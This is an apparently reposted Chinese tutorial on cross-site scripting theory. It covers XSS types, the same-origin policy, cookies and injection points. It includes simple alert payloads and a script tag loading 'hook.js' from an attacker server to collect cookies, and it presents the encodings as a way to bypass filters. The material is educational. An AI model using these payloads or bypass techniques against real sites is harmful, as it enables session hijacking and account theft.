2.1 XSS漏洞理论 – 作者:zhijian

1. XSS介绍和危害

1.1 XSS介绍:

 1. XSS 叫做跨站脚本攻击,是(Cross Site Scripting)的缩写;
     #为了不和层叠样式表  (Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。

     #恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

1.2  XSS产生的原因

1. 对用户端提交的数据没有过滤,或者过滤不严格.

2. 导致恶意代码输出到页面,并被当做JS代码解析;

1.3  危害

由于XSS是借助构造JS脚本来实现,所以JS可以完成的所有事情,都可以通过XSS来完成.比如:

1. 盗取用户cookie,仿冒用户身份执行非法操作;

2. 控制客户端主机执行一些”非正常”操作;

3. 在web网站进行XSS挂马;

4. 进行钓鱼操作等;

1.4 XSS出现场景

1.一些企业里的搜索框;

2.一些留言板;

3.个人信息修改页面;

4.任意可以输入的地方等;

 

2 同源策略

2.1 同源策略的意义

1.同源策略(Same-Origin  Policy)

   如果Web世界没有同源策略,当你登录FreeBuf账号并打开另一个站点时,这个站点上的JavaScript可以跨域读取你的FreeBuf账号数据,这样的话整个WEB世界就没有隐私而言。

2. 简单来说,同源策略是为了保证各个站点之间的安全性而设置的;

    同源策略是各个浏览器厂商共同遵守的约定.

 

2.2 什么是同源策略

1. 如果两个URL的协议/域名和端口三者相同,那么我们称之为”同源”,也就是说,三个网站可以共用一个cookie来追踪用户信息.

2.至于cookie,可能有人不理解,这里简单介绍一下.

   (1)cookie简单来说就是浏览器用来识别用户身份的.被保存在本地浏览器中.

   (2)cookie应用:场景一—->记住密码

  • 很多常见登录网站时,有”记住密码”的提示,实际就是以cookie的方式把用户名和密码存储在了浏览器中.下次直接登录就可以了.可想而知cookie的重要性,即使没有用户名密码,一旦cookie被盗取,也能盗用你的身份登录一些目标网站.

(3)cookie应用:场景二—>一个网站浏览不同页面

  • 比如你平时登录淘宝,用户名为aaabbbccc,密码为1234567890,这时你想买个手机在浏览A页面,并登录你的信息.那么浏览器就是通过这个cookie字段来标识用户信息的.当你从页面A浏览页面B时,始终携带了cookie信息,这就是平时为什么只要一次登录淘宝账号,浏览页面开始到下单都不需要再重新登录的原因.

3.所以,同源策略一定程度上保证了互联网中各类资源的安全.

4.但是有一些特殊的标签不受同源策略的限制,比如:

<script>标签    <script src=http://www.a.com/jquery.js>
<img>标签      <img src=http://www.a.com/back.jpg>
<iframe>标签   <iframe src=”a.html”></iframe>
<link>标签       <link rel=”stylesheet” type=”text/css” href=”t.css” />

 

3 XSS分类

3.1 反射型XSS介绍

    又称为非持久型XSS,又称为”非持久性XSS”,只有在用户点击时才会生效.

    利用条件:攻击者把恶意代码插入到web服务器上,得到恶意URL;  该URL需要发送给客户端,并诱导客户端点击执行才能触发.

3.2 存储型XSS介绍

   存储型XSS,又称持久型XSS,
   它和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库或文件中.

   特点: 一旦被存储在服务器端,任何浏览到该页面的人,都会触发xss漏洞.

   利用条件: 插入到数据库中(一般留言板功能)

3.3 DOM型XSS介绍

    DOM XSS可以理解为反射型XSS的一种;

    DOM型XSS与反射型XSS和存储型XSS的差别是在于DOM XSS的代码不需要服务器解析响应的直接参与,触发XSS靠的是浏览器DOM解析器的解析,可以完全认为是客户端的事情。

     DOM介绍:Document Object Model ,是一个平台和语言都中立的接口,可以实现程序或脚本能够动态访问和更新文档的内容/结构和样式.
     DOM是一个树形结构的模型,可以编写JS代码实现对DOM节点的遍历/获取/修改等操作.

 图片[1]-2.1 XSS漏洞理论 – 作者:zhijian-安全小百科

4 XSS原理介绍

4.1 反射型XSS原理

<script src=”10.0.0.1/hook.js”>

语句中src表示引入某个网站里(实际场景应为公网服务器用来收集cookie信息)的hook.js文件,hook.js里是一些恶意的代码.

这样写的好处是避免了大量恶意代码直接插入到页面,受到一些长度或解析限制;

功能代码全都在hook.js中(黑客自己的服务器),更好方便控制和修改.

图片[2]-2.1 XSS漏洞理论 – 作者:zhijian-安全小百科

 

4.2 存储型XSS原理

图片[3]-2.1 XSS漏洞理论 – 作者:zhijian-安全小百科

5 XSS漏洞可能存在的位置

1.根据在http请求中的不同位置
    (1) GET型
    (2) POST中
2.按照标签位置

    (1)在html标签外:需要构造JS标签,不能构造就不存在漏洞.

     <p>aaa  <script>alert(111)</script>

     </p>

    (2)在html标签内:先闭合前边的属性,再构造事件进行弹框

    <img  src=”1”  onclick=”alert(111)”>

    <body   onload=”javascript:alert(111)”>

     

3.说明:

    这里测试用的是<script>alert(111)</script>可能有的同学说,不就是弹个1 吗?但是如果一旦把111缓存document.cookie就能获取cookie信息,其实结果是一样的.

 

6 常见的编码格式

1. URL编码:将不安全的字符使用URL方式传输; 比如%20(空格)
2. html编码:防止特殊字符比如<>对页面造成影响,一般以&开头,分号结果.
3.  javascript编码:

  • 三个八进制数字,如果不够个数,前面补0,例如“<”编码为“\074”
  • 两个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\x3c”
  • 四个十六进制数字,如果不够个数,前面补0,例如“<”编码为“\u003c”

4.Base64编码

  • 是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法.
  • base64的作用:
    对原始数据进行编码(再签名或者加密等再Base64传输),需要解码后才能阅读,增加了一定的安全性;
    更方便数据的传输,例如二进制文件或图片等无法用字符直接传输;
    防止一些特殊字符对原始数据的解析干扰

5.说明

    这里介绍编码,并不是单纯介绍编码类型,而是为了进行XSS插入时,防止对关键字进行了过滤,可以通过以上方式进行转码绕过.

 

来源:freebuf.com 2020-07-20 00:16:28 by: zhijian

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论